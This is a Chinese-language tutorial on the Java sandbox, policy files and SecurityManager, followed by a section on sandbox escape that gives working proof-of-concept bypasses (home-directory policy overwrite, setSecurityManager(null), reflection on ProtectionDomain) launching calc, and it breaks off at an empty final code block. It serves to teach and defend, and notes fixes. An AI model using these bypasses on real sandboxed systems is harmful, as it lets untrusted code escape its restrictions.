0x01 Java沙箱

程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取、删除一些文件或者网络操作等。当你把程序部署到正式的服务器上,系统管理员要为服务器的安全承担责任,那么他可能不敢确定你的程序会不会访问不该访问的资源,为了消除潜在的安全隐患,他可能有两种办法:

  1. 让你的程序在一个限定权限的帐号下运行。

  2. 利用Java的沙箱机制来限定你的程序不能为非作歹。以下用于介绍该机制。

Java沙箱简介

Java安全模型的核心就是Java沙箱(sandbox),什么是沙箱?沙箱是一个限制程序运行的环境。限制程序运行一方面是为了保护系统资源,同时另一方面也为了保护程序自己。沙箱主要限制系统资源访问,那系统资源包括什么?——CPU、内存、文件系统、网络。不同级别的沙箱对这些资源访问的限制也可以不一样。

所有的Java程序运行都可以指定沙箱,可以定制安全策略。

Java中的安全模型

在Java中将执行程序分成本地代码和远程代码两种,本地代码默认视为可信任的,而远程代码则被看作是不受信的。对于授信的本地代码,可以访问一切本地资源。而对于非授信的远程代码在早期的Java实现中,安全依赖于沙箱 (Sandbox) 机制。如下图:

但如此严格的安全机制也给程序的功能扩展带来障碍,比如当用户希望远程代码访问本地系统的文件时候,就无法实现。因此在后续的 Java1.1 版本中,针对安全机制做了改进,增加了安全策略,允许用户指定代码对本地资源的访问权限。如下图:

在 Java1.2 版本中,再次改进了安全机制,增加了代码签名。不论本地代码或是远程代码,都会按照用户的安全策略设定,由类加载器加载到虚拟机中权限不同的运行空间,来实现差异化的代码执行权限控制。如下图:

当前最新的安全机制实现,则引入了域 (Domain) 的概念。虚拟机会把所有代码加载到不同的系统域和应用域,系统域部分专门负责与关键资源进行交互,而各个应用域部分则通过系统域的部分代理来对各种需要的资源进行访问。虚拟机中不同的受保护域 (Protected Domain),对应不一样的权限 (Permission)。存在于不同域中的类文件就具有了当前域的全部权限,如下图:

以上提到的都是基本的Java安全模型概念,在应用开发中还有一些关于安全的复杂用法,其中最常用到的API就是doPrivileged()。doPrivileged()方法能够使一段受信任代码获得更大的权限,甚至比调用它的应用程序还要多,可做到临时访问更多的资源。有时候这是非常必要的,可以应付一些特殊的应用场景。例如,应用程序可能无法直接访问某些系统资源,但这样的应用程序必须得到这些资源才能够完成功能。

Java沙箱的基本组成

Java沙箱由以下几部分组成:

  • 字节码校验器(bytecode verifier):确保Java类文件遵循Java语言规范。这样可以帮助Java程序实现内存保护。但是不是所有的类文件都会经过字节码校验,比如核心类。
  • 类加载器(class loader):所有的Java类都是通过类加载器加载的,可以自定义类加载器来设置加载类的权限。
  • 存取控制器(access controller):存取控制器可以控制核心API对操作系统的存取权限,而这个控制的策略设定,可以由用户指定。
  • 安全管理器(security manager):是核心API和操作系统之间的主要接口。实现权限控制,比存取控制器优先级高。
  • 安全软件包(security package):java.security下的类和扩展包下的类,允许用户为自己的应用增加新的安全特性,包括:
    • 安全提供者
    • 消息摘要
    • 数字签名
    • 加密
    • 鉴别

其中ClassLoader在如下三个方面对Java沙箱起作用:

  1. 它防止恶意代码去干涉善意的代码;
  2. 它守护了被信任的类库边界;
  3. 它将代码归入保护域,确定了代码可以进行哪些操作。

虚拟机为不同的ClassLoader载入的类提供不同的命名空间,命名空间由一系列唯一的名称组成,每一个被装载的类将有一个名字,这个命名空间是由Java虚拟机为每一个ClassLoader维护的,它们互相之间甚至不可见。

ClassLoader采用的机制是双亲委派模式。从最内层JVM自带ClassLoader开始加载,外层恶意同名类得不到加载从而无法使用;由于严格通过包来区分了访问域,外层恶意的类通过内置代码也无法获得权限访问到内层类,破坏代码就自然无法生效。

Java沙箱的要素

权限

权限是指允许代码执行的操作。包含三部分:权限类型、权限名和允许的操作。权限类型是实现了权限的Java类名,是必需的。权限名一般就是对哪类资源进行操作的资源定位(比如一个文件名或者通配符、网络主机等),一般基于权限类型来设置,有的比如java.security.AllPermission不需要权限名。允许的操作也和权限类型对应,指定了对目标可以执行的操作行为,比如读、写等。

1
2
3
permission java.security.AllPermission;    //权限类型
permission java.lang.RuntimePermission "stopThread"; //权限类型+权限名
permission java.io.FilePermission "/tmp/foo" "read"; //权限类型+权限名+允许的操作

标准权限如下表:

说明 类型 权限名 操作 例子
文件权限 java.io.FilePermission 文件名(平台依赖) 读、写、删除、执行 允许所有文件的读写删除执行:permission java.io.FilePermission “<< ALL FILES>>”, “read,write,delete,execute”;。允许对用户主目录的读:permission java.io.FilePermission “${user.home}/-“, “read”;
套接字权限 java.net.SocketPermission 主机名:端口 接收、监听、连接、解析 允许实现所有套接字操作:permission java.net.SocketPermission “:1-“, “accept,listen,connect,resolve”;。允许建立到特定网站的连接:permission java.net.SocketPermission “.abc.com:1-“, “connect,resolve”;
属性权限 java.util.PropertyPermission 需要访问的jvm属性名 读、写 读标准Java属性:permission java.util.PropertyPermission “java.”, “read”;。在sdo包中创建属性:permission java.util.PropertyPermission “sdo.”, “read,write”;
运行时权限 java.lang.RuntimePermission 多种权限名[见附录A] 允许代码初始化打印任务:permission java.lang.RuntimePermission “queuePrintJob”
AWT权限 java.awt.AWTPermission 6种权限名[见附录B] 允许代码充分使用robot类:permission java.awt.AWTPermission “createRobot”; permission java.awt.AWTPermission “readDisplayPixels”;
网络权限 java.net.NetPermission 3种权限名[见附录C] 允许安装流处理器:permission java.net.NetPermission “specifyStreamHandler”;。
安全权限 java.security.SecurityPermission 多种权限名[见附录D]
序列化权限 java.io.SerializablePermission 2种权限名[见附录E]
反射权限 java.lang.reflect.ReflectPermission suppressAccessChecks(允许利用反射检查任意类的私有变量)
完全权限 java.security.AllPermission 无(拥有执行任何操作的权限)

代码源

代码源是类所在的位置,表示为URL地址。

保护域

保护域用来组合代码源和权限,这是沙箱的基本概念。保护域就在于声明了比如由代码A可以做权限B这样的事情。

策略文件

策略文件是控制沙箱的管理要素,一个策略文件包含一个或多个保护域的项。策略文件完成了代码权限的指定任务,策略文件包括全局和用户专属两种。

JVM可以使用多个策略文件,不过一般来说下面两个最为常用。一个是全局的$JREHOME/lib/security/java.policy,作用于JVM的所有实例;另一个是用户自己的,可以存储到用户的主目录下。策略文件可以使用JDK自带的policytool工具编辑。

java.policy

我们看下默认的java.policy文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

// Standard extensions get all permissions by default

grant codeBase "file:${{java.ext.dirs}}/*" {
permission java.security.AllPermission;
};

// default permissions granted to all domains

grant {
// Allows any thread to stop itself using the java.lang.Thread.stop()
// method that takes no argument.
// Note that this permission is granted by default only to remain
// backwards compatible.
// It is strongly recommended that you either remove this permission
// from this policy file or further restrict it to code sources
// that you specify, because Thread.stop() is potentially unsafe.
// See the API specification of java.lang.Thread.stop() for more
// information.
permission java.lang.RuntimePermission "stopThread";

// allows anyone to listen on dynamic ports
permission java.net.SocketPermission "localhost:0", "listen";

// "standard" properies that can be read by anyone

permission java.util.PropertyPermission "java.version", "read";
permission java.util.PropertyPermission "java.vendor", "read";
permission java.util.PropertyPermission "java.vendor.url", "read";
permission java.util.PropertyPermission "java.class.version", "read";
permission java.util.PropertyPermission "os.name", "read";
permission java.util.PropertyPermission "os.version", "read";
permission java.util.PropertyPermission "os.arch", "read";
permission java.util.PropertyPermission "file.separator", "read";
permission java.util.PropertyPermission "path.separator", "read";
permission java.util.PropertyPermission "line.separator", "read";

permission java.util.PropertyPermission "java.specification.version", "read";
permission java.util.PropertyPermission "java.specification.vendor", "read";
permission java.util.PropertyPermission "java.specification.name", "read";

permission java.util.PropertyPermission "java.vm.specification.version", "read";
permission java.util.PropertyPermission "java.vm.specification.vendor", "read";
permission java.util.PropertyPermission "java.vm.specification.name", "read";
permission java.util.PropertyPermission "java.vm.version", "read";
permission java.util.PropertyPermission "java.vm.vendor", "read";
permission java.util.PropertyPermission "java.vm.name", "read";
};

策略文件的内容格式就是这样,grant授权允许操作某个权限。这个默认的策略文件就指明了JDK扩展包可以有全部权限,允许代码stop线程,允许监听1099端口(1099号端口,是默认的服务器端RMI监听端口)等等。

配置基本原则:

在启用安全管理器的时候,配置遵循以下基本原则:

  1. 没有配置的权限表示没有。
  2. 只能配置有什么权限,不能配置禁止做什么。
  3. 同一种权限可多次配置,取并集。
  4. 统一资源的多种权限可用逗号分割。

默认配置文件解释:

第一部分授权:授权基于路径在file:$/*的class和jar包,所有权限。

1
2
3
grant codeBase "file:${{java.ext.dirs}}/*" {
permission java.security.AllPermission;
};

第二部分授权:这是细粒度的授权,对某些资源的操作进行授权。具体不再解释,可以查看javadoc

1
2
3
4
grant { 
permission java.lang.RuntimePermission "stopThread";
……
}

补充:当批量配置的时候(例如第一部分授权),有三种模式:

  • directory/表示directory目录下的所有.class文件,不包括.jar文件;
  • directory/*表示directory目录下的所有的.class及.jar文件;
  • directory/-表示directory目录下的所有的.class及.jar文件,包括子目录;

  可以通过${}来引用系统属性,如: file:$/*

java.security

另一个很重要的是参数文件——java.security,这个文件和策略文件在同一个目录下。这个参数文件定义了沙箱的一些参数。比如默认的沙箱文件是这样的,只截取部分内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# The default is to have a single system-wide policy file,
# and a policy file in the user's home directory.
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy

# whether or not we expand properties in the policy file
# if this is set to false, properties (${...}) will not be expanded in policy
# files.
policy.expandProperties=true

# whether or not we allow an extra policy to be passed on the command line
# with -Djava.security.policy=somefile. Comment out this line to disable
# this feature.
policy.allowSystemProperty=true

policy.url.*这个属性指明了使用的策略文件,如上文所述,默认的两个位置就在这里配置,用户可以自行更改顺序和存储位置。而policy.allowSystemProperty指明是否允许用户自行通过命令行指定policy文件。

密钥库

保存密钥证书的地方。

默认沙箱

通过Java命令行启动的Java应用程序,默认不启用沙箱。要想启用沙箱,启动命令需要做如下形式的变更:

1
java -Djava.security.manager <other args>

沙箱启动后,安全管理器会使用两个默认的策略文件来确定沙箱启动参数。当然也可以通过命令指定:

1
java -Djava.security.policy=<URL>

如果要求启动时只遵循一个策略文件,那么启动参数要加个等号,如下:

1
java -Djava.security.policy==<URL>

Java沙箱的应用

限制读文件

这个例子很简单,首先写一个r.txt文件,里面的内容是“abcd”,再写个程序如下读取这个r.txt。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
public class PolicyTest {
public static void file() {
File f = new File("D:\\github\\CDLib\\src\\main\\resources\\security\\r.txt");
InputStream is;
try {
is = new FileInputStream(f);
byte[] content = new byte[1024];
while (is.read(content) != -1) {
System.out.println(new String(content));
}
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args) {
// test read file.
file();
}
}

发现输出是abcd

接下来修改Java启动参数,加入-Djava.security.manager,启动了安全沙箱。再运行,输出变成了异常:

1
2
3
4
5
6
7
Exception in thread "main" java.security.AccessControlException: access denied ("java.io.FilePermission" "D:\github\CDLib\src\main\resources\security\r.txt" "read")
at java.security.AccessControlContext.checkPermission(Unknown Source)
at java.security.AccessController.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkRead(Unknown Source)
at java.io.FileInputStream.(Unknown Source)
at com.taobao.cd.security.PolicyTest.main(PolicyTest.java:15)

这里已经提示了,访问被拒绝,说明了沙箱启动,同时也验证了默认沙箱——禁止本地文件访问。

再来,我们构建一个custom.policy文件如下:

1
2
3
grant {
permission java.io.FilePermission "D:\\github\\CDLib\\src\\main\\resources\\security\\*", "read";
};

这里构建了一条安全策略——允许读取security目录下的文件。

修改启动命令,添加-Djava.security.policy=D:\\github\\CDLib\\src\\main\\resources\\security\\custom.policy,再执行,结果输出了abcd

如上例。我们通过自定义policy文件修改了默认沙箱的安全策略,再通过启动参数开启沙箱模式。这样就可以构造我们自己想要的沙箱效果了。

限制访问网络

通过HttpClient访问www.baidu.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;

import com.taobao.cd.http.util.HttpUtil;

public class PolicyTest {

public static void network() {
try {
String text = HttpUtil.createHtmlText("http://www.baidu.com", HttpUtil.UA);
System.out.println(text);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}

public static void main(String[] args) {
// test use network.
network();
}
}

开启默认沙箱后,输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java.security.AccessControlException: access denied ("java.net.SocketPermission" "www.baidu.com" "resolve")
at java.security.AccessControlContext.checkPermission(Unknown Source)
at java.security.AccessController.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkPermission(Unknown Source)
at java.lang.SecurityManager.checkConnect(Unknown Source)
at java.net.InetAddress.getAllByName0(Unknown Source)
at java.net.InetAddress.getAllByName(Unknown Source)
at java.net.InetAddress.getAllByName(Unknown Source)
at org.apache.http.impl.conn.DefaultClientConnectionOperator.resolveHostname(DefaultClientConnectionOperator.java:242)
at org.apache.http.impl.conn.DefaultClientConnectionOperator.openConnection(DefaultClientConnectionOperator.java:130)
at org.apache.http.impl.conn.AbstractPoolEntry.open(AbstractPoolEntry.java:149)
at org.apache.http.impl.conn.AbstractPooledConnAdapter.open(AbstractPooledConnAdapter.java:121)
at org.apache.http.impl.client.DefaultRequestDirector.tryConnect(DefaultRequestDirector.java:573)
at org.apache.http.impl.client.DefaultRequestDirector.execute(DefaultRequestDirector.java:425)
at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:820)
at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:754)
at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:732)
at com.taobao.cd.http.util.HttpUtil.createHtmlText(HttpUtil.java:38)
at com.taobao.cd.security.PolicyTest.network(PolicyTest.java:15)
at com.taobao.cd.security.PolicyTest.main(PolicyTest.java:45)

根据错误提示,知道是访问socket没有权限。那么修改下policy,指定权限:

1
2
3
grant {
permission java.net.SocketPermission "www.baidu.com:1-", "connect,resolve";
};

在指定权限文件下再运行,得到了正常的text形式的baidu首页的页面文档。权限策略成功。

0x02 Java Security Manager

简介

作为Java沙箱的基本组成部分之一,Java安全管理器是核心API和操作系统之间的主要接口,主要用于实现权限控制。

安全管理器是一个允许应用实现一种安全策略的类。它允许一个应用去明确在执行一个可能安全或者敏感的操作之前,此操作是否允许在一个安全的上下文中被执行。应用可以同意或者拒绝执行操作。

SecurityManager类方法

SecurityManager类包含许多以check开头命名的方法。Java库中的各种方法在执行一些敏感的操作时可以调用这些方法。对check方法典型的调用如下:

1
2
3
4
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkXXX(argument);
}

SecurityManager通过抛出异常来阻止没有权限或敏感操作的完成。 如果操作被允许执行,则简单的返回;如果操作被拒绝,则抛出一个SecurityException。对于这种处理方式唯一的例外就是checkTopLevelWindow()方法,此方法返回boolean值。

设置、获取当前管理器:

  • 可以使用System类的setSecurityManager()方法来设置当前安全管理器;
  • 可以使用System类的getSecurityManager()方法来获取当前安全管理器;

SecurityManager中特定的方法checkPermission(java.security.Permission)负责明确允许还是拒绝由指定权限所指示的访问请求,默认的实现是:

1
AccessController.checkPermission(perm);

若果一个请求访问被允许,则checkPermission()直接返回;如果被拒绝,则抛出一个SecurityException异常。

从Java 2 SDK v1.2 开始,SecurityManager 中其他所有check方法的默认实现都是调用SecurityManager的checkPermission()方法来确定调用线程是否具有执行所请求操作的权限。

注意:只带有单个权限参数的checkPermission()方法总是在当前执行的线程上下文中执行安全检查。有时,应该在给定上下文中进行的安全检查实际上需要在不同的上下文(例如,在一个辅助线程中)中进行。Java为这种情况提供了包含有上下文参数的getSecurityContext()方法和checkPermission()方法。

getSecurityContext()方法返回当前调用上下文的一个“快照”(默认的实现返回一个 AccessControlContext 对象)。下面是一个示例调用:

1
2
3
Object context = null;
SecurityManager sm = System.getSecurityManager();
if (sm != null) context = sm.getSecurityContext();

checkPermission()方法使用一个上下文对象,以及根据该上下文而不是当前执行线程的上下文作出访问决策的权限。因此另一个上下文中的代码可以调用此方法,传递权限和以前保存的上下文对象。下面是一个示例调用,它使用了以前示例中获得的SecurityManager类实例sm:

1
if (sm != null) sm.checkPermission(permission, context);

SecurityManager类的主要方法列表如下,分别囊括了文件的读写删除和执行、网络的连接和监听、线程的访问、以及其他包括打印机剪贴板等系统功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
checkAccept(String, int)
checkAccess(Thread)
checkAccess(ThreadGroup)
checkAwtEventQueueAccess()
checkConnect(String, int)
checkConnect(String, int, Object)
checkCreateClassLoader()
checkDelete(String)
checkExec(String)
checkExit(int)
checkLink(String)
checkListen(int)
checkMemberAccess(Class<?>, int)
checkMulticast(InetAddress)
checkMulticast(InetAddress, byte)
checkPackageAccess(String)
checkPackageDefinition(String)
checkPermission(Permission)
checkPermission(Permission, Object)
checkPrintJobAccess()
checkPropertiesAccess()
checkPropertyAccess(String)
checkRead(FileDescriptor)
checkRead(String)
checkRead(String, Object)
checkSecurityAccess(String)
checkSetFactory()
checkSystemClipboardAccess()
checkTopLevelWindow(Object)
checkWrite(FileDescriptor)
checkWrite(String)

启动安全管理器

参数启动

启动程序的时候通过附加参数启动安全管理器:

1
-Djava.security.manager

如果想指定自定义的实现,可以在java.security.manager加等号指定,如下就能指定net.sourceforge.prograde.sm.ProGradeJSM作为实现:

1
-Djava.security.manager=net.sourceforge.prograde.sm.ProGradeJSM

若要同时指定配置文件的位置那么示例如下:

1
-Djava.security.manager -Djava.security.policy="E:/java.policy"

策略文件前面小节已经说过了。一般需要指定哪些类有哪些权限,编辑policy文件就可以了。policy文件的具体语法参看这里

编码方式启动

也可以通过编码方式启动,不过不建议:

1
2
SecurityManager sm = new SecurityManager(); 
System.setSecurityManager(sm);

通过参数启动,本质上也是通过编码启动,不过参数启动使用灵活。

关闭安全管理器

程序关闭:

1
2
SecurityManager sm = System.getSecurityManager(); 
if(sm != null){ System.setSecurityManager(null); }

注意:上面的代码只有在位于${JDK_HOME}/jre/lib/security目录下或者其他指定目录下的java.policy文件中指定了一个权限才会奏效。 这个权限是:

1
permission java.lang.RuntimePermission "setSecurityManager";

Demo

FileUtil.java,工具类用于创建文件夹:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.File;
import java.io.IOException;
import java.security.AccessControlException;
import java.security.AccessController;
import java.security.PrivilegedAction;

public class FileUtil {
private static final String FOLDER_PATH = "C:\\test";

public FileUtil() {
}

public static void makeFile(String fileName) {
try {
File fs = new File("C:\\test\\" + fileName);
fs.createNewFile();
} catch (IOException | AccessControlException var2) {
var2.printStackTrace();
}

}

public static void doPrivilegedAction(final String fileName) {
AccessController.doPrivileged(new PrivilegedAction<String>() {
public String run() {
FileUtil.makeFile(fileName);
return null;
}
});
}
}

DemoDoPrivilege.java,尝试通过三种方式在指定文件夹下创建新文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.io.File;
import java.io.IOException;
import java.security.AccessControlException;

public class DemoDoPrivilege {
public DemoDoPrivilege() {
}

public static void main(String[] args) {
System.out.println("***************************************");
System.out.println("I will show AccessControl functionality...");
System.out.println("Preparation step : turn on system permission check...");
System.out.println("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
System.out.println("Create a new file named temp1.txt via privileged action ...");
FileUtil.doPrivilegedAction("temp1.txt");
System.out.println("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
System.out.println();
System.out.println("/////////////////////////////////////////");
System.out.println("Create a new file named temp2.txt via File ...");

try {
File fs = new File("C:\\test\\temp2.txt");
fs.createNewFile();
} catch (AccessControlException | IOException var2) {
var2.printStackTrace();
}

System.out.println("/////////////////////////////////////////");
System.out.println();
System.out.println("-----------------------------------------");
System.out.println("create a new file named temp3.txt via FileUtil ...");
FileUtil.makeFile("temp3.txt");
System.out.println("-----------------------------------------");
System.out.println();
System.out.println("***************************************");
}
}

my.policy,自定义的权限配置文件,本地放在和前面文件同一目录下:

1
2
3
4
5
6
7
8
9
grant{
permission java.io.FilePermission "C:\\test\\*", "write";
};



grant{
permission java.security.AllPermission "C:\\test\\*";
};

启动安全管理器运行该类,由于权限问题会报java.security.AccessControlException的错误:

1
java -Djava.security.manager DemoDoPrivilege

配置权限参数-Djava.security.policy=my.policy,再次启动则创建成功:

0x03 Java沙箱逃逸

由前面Java沙箱的基础组成部分知道,除了Java安全管理器外,其他的基本都是内置实现在JVM和Java语言中的,也就是说,只有Java安全管理器可以被外部用户控制来设置策略文件等。因此,Java沙箱逃逸,实际就是针对Java Security Manager的绕过。

利用单等号+home目录可写绕过

Bypass利用

jre/lib/security/java.security是Java中指定安全配置文件,在前面的java.security小节中看到,其中指定了两个默认的policy文件:

1
2
3
4
# The default is to have a single system-wide policy file,
# and a policy file in the user's home directory.
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy

而通过-Djava.security.policy指定policy文件时,如果参数后面是一个等号,例如-Djava.security.policy=my.policy,m.policy会加在上面的两个默认的policy文件之后。在默认情况下,home目录下没有.java.policy这个文件。因此,如果home目录可写,则恶意代码可以通过写.java.policy文件,授予自己更多的权限来绕过Java Security Manager。

假设开发者自定义的策略文件my.policy,虽然没有赋予文件的执行权限,但允许home目录可写:

1
2
3
grant{
permission java.io.FilePermission "C:\\Users\\Administrator\\*", "write";
};

BypassSandbox类,利用my.policy策略文件允许在home目录可写的设置,将该目录上写入.java.policy文件,其中的策略内容未授权所有文件具有可执行权限:

1
2
3
4
5
6
7
8
9
10
import java.io.FileWriter;

public class BypassSandbox {
public static void main(String[] args) throws Exception {
String homePolicyFile = "grant {\n permission java.io.FilePermission \"<<ALL FILES>>\", \"execute\";\n};";
FileWriter writer = new FileWriter("C:\\Users\\Administrator\\.java.policy");
writer.write(homePolicyFile);
writer.close();
}
}

Exploit类,恶意类,执行calc命令弹计算器:

1
2
3
4
5
public class Exploit {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");
}
}

先运行Exploit类是不能成功执行的,被Java安全管理器限制了;然后执行BypassSandbox类往home目录上写.java.policy这个默认策略文件,其中内容为允许所有文件具有可执行权限;最后再次运行Exploit类就能成功弹计算器了:

1
2
3
java -Djava.security.manager -Djava.security.policy="E:\\my.policy" Exploit
java -Djava.security.manager -Djava.security.policy="E:\\my.policy" BypassSandbox
java -Djava.security.manager -Djava.security.policy="E:\\my.policy" Exploit

修复方法

-Djava.security.policy==java.policy,用双等于号指定policy文件。

利用setSecurityManager绕过

Bypass利用

Java Security Manager不仅能通过参数-Djava.security.policy==java.policy指定,还可以在运行时通过System.setSecurityManager()方法指定。如果被授予setSecurityManager权限,恶意代码可以在运行时调用setSecurityManager()方法,将Java Security Manager置为null即使安全管理器失效,从而实现绕过。

假设开发者自定义的策略文件my.policy,设置了setSecurityManager权限:

1
2
3
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};

BypassSandbox类,关键在于System.setSecurityManager(null)使得安全管理器失效来实现绕过:

1
2
3
4
5
6
public class BypassSandbox {
public static void main(String[] args) throws Exception {
System.setSecurityManager(null);
Runtime.getRuntime().exec("calc");
}
}

运行即可绕过安全管理器的限制执行命令弹计算器:

1
java -Djava.security.manager -Djava.security.policy="E:\\my.policy" BypassSandbox

修复方法

不授予不可信的代码setSecurityManager权限。

利用反射绕过

调试分析

这里我们调试分析下上面的System.setSecurityManager()这个方法,如下图,该方法实际是调用的setSecurityManager0()方法,其中直接把参数直接赋予了System类中的security变量:

看到System类中,它的security属性时用private修饰的:

1
2
3
/* The security manager for the system.
*/
private static volatile SecurityManager security = null;

也就是说,通过反射调用获取该field时是调用getDeclaredField()函数而不是getField()函数。

如果被赋予了反射权限,那么是否能通过反射直接把System类中的security变量值置为null,使Java Security manager失效呢?

我们先来尝试一下直接通过反射设置该security为null看看是否成功。

假设开发者自定义的策略文件my.policy,授予accessDeclaredMembers权限和suppressAccessChecks权限:

1
2
3
4
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};

BypassSandbox类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Map;

public class BypassSandbox {
public static void main(String[] args) throws Exception {
System.out.println("[*]Running setSecurityByReflection()");
setSecurityByReflection();
}

public static void setSecurityByReflection() throws Exception {
Class clz = Class.forName("java.lang.System");
Field field = clz.getDeclaredField("security");
field.setAccessible(true);
field.set(System.class, null);
}

可是运行报NoSuchFieldException的错误信息,显示说是不存在security这个字段:

明明已经用的是getDeclaredField()函数了,为啥还是报不存在该字段的错误呢?

为此,调试分析getDeclaredField()函数,看看问题在哪。这里看到该函数中调用了privateGetDeclaredFields()函数:

跟进去privateGetDeclaredFields()函数,其中调用Reflection类的filterFields()方法对field进行过滤处理:

跟进Reflection.filterFields()方法,在filter过滤的黑名单中System类的security字段就在其中被过滤了:

看到Reflection类的静态代码中定义了一个fieldFilterMap,即字段过滤Map,这里已经将System类的security字段添加其中了:

1
2
3
4
5
6
7
8
static {
HashMap var0 = new HashMap();
var0.put(Reflection.class, new String[]{"fieldFilterMap", "methodFilterMap"});
var0.put(System.class, new String[]{"security"});
var0.put(Class.class, new String[]{"classLoader"});
fieldFilterMap = var0;
methodFilterMap = new HashMap();
}

最后,过滤完成之后返回的是System类其他不在黑名单中的字段,当然不包含security:

至此就清楚了确实没办法直接通过反射来设置System类的security字段。

既然负责检查的检察官Java Security Manager不可修改,那就尝试修改检查的材料—ProtectionDomain。

根据Java的设计,一个类的URL和签名组成了这个类的CodeSource,根据policy文件的配置,一个CodeSource有一定的权限。一个类的CodeSource和它的权限构成了这个类的ProtectionDomain。如图:

看到ProtectionDomain类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class ProtectionDomain {
//.....省略部分代码
static {
// Set up JavaSecurityAccess in SharedSecrets
SharedSecrets.setJavaSecurityAccess(new JavaSecurityAccessImpl());
}

/* CodeSource */
private CodeSource codesource ;

/* ClassLoader the protection domain was consed from */
private ClassLoader classloader;

/* Principals running-as within this protection domain */
private Principal[] principals;

/* the rights this protection domain is granted */
private PermissionCollection permissions;

/* if the permissions object has AllPermission */
private boolean hasAllPerm = false;

/* the PermissionCollection is static (pre 1.4 constructor)
or dynamic (via a policy refresh) */
private boolean staticPermissions;

//.....省略部分代码

如前面所说,一个类的CodeSource和Permissions构成了这个类的ProtectionDomain。这里看到hasAllPerm这个字段,应该是一个标记这个类是否有所有权限的布尔变量。因此可以尝试利用反射将它设置为true来看看是否可以使当前类获取所有权限。但是问题在于AccessController会沿着栈自顶向下检查,必须所有栈帧都有权限才能通过。

这里我们也遍历所有栈帧,将所有栈帧中的所有类的ProtectionDomain中的hasAllPerm置为true。BypassSandbox类的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Map;

public class BypassSandbox {
public static void main(String[] args) throws Exception {
System.out.println("[*]Running setHasAllPerm()");
setHasAllPerm();
}

public static void setHasAllPerm() throws Exception {

StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
Class clz = Class.forName(stackTraceElement.getClassName());
Field field = clz.getProtectionDomain().getClass().getDeclaredField("hasAllPerm");
field.setAccessible(true);
field.set(clz.getProtectionDomain(), true);
} catch (Exception e) {
e.printStackTrace();
}
}
Runtime.getRuntime().exec("calc");
}
}

可是运行之后还是报错,说是没有getProtectionDomain的权限:

这就很尴尬了。我们看下getProtectionDomain()函数的实现,先检查了权限,然后再调用私有的原生方法getProtectionDomain0()来获取ProtectionDomain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* Returns the {@code ProtectionDomain} of this class. If there is a
* security manager installed, this method first calls the security
* manager's {@code checkPermission} method with a
* {@code RuntimePermission("getProtectionDomain")} permission to
* ensure it's ok to get the
* {@code ProtectionDomain}.
*
* @return the ProtectionDomain of this class
*
* @throws SecurityException
* if a security manager exists and its
* {@code checkPermission} method doesn't allow
* getting the ProtectionDomain.
*
* @see java.security.ProtectionDomain
* @see SecurityManager#checkPermission
* @see java.lang.RuntimePermission
* @since 1.2
*/
public java.security.ProtectionDomain getProtectionDomain() {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkPermission(SecurityConstants.GET_PD_PERMISSION);
}
java.security.ProtectionDomain pd = getProtectionDomain0();
if (pd == null) {
if (allPermDomain == null) {
java.security.Permissions perms =
new java.security.Permissions();
perms.add(SecurityConstants.ALL_PERMISSION);
allPermDomain =
new java.security.ProtectionDomain(null, perms);
}
pd = allPermDomain;
}
return pd;
}

那么我们完全可以通过反射直接运行getProtectionDomain0()方法,从而绕过对getProtectionDomain()方法的过滤,进而直接Bypass安全管理器。

Bypass利用——getProtectionDomain0

BypassSandbox类的代码如下:

1
2
3
4
5
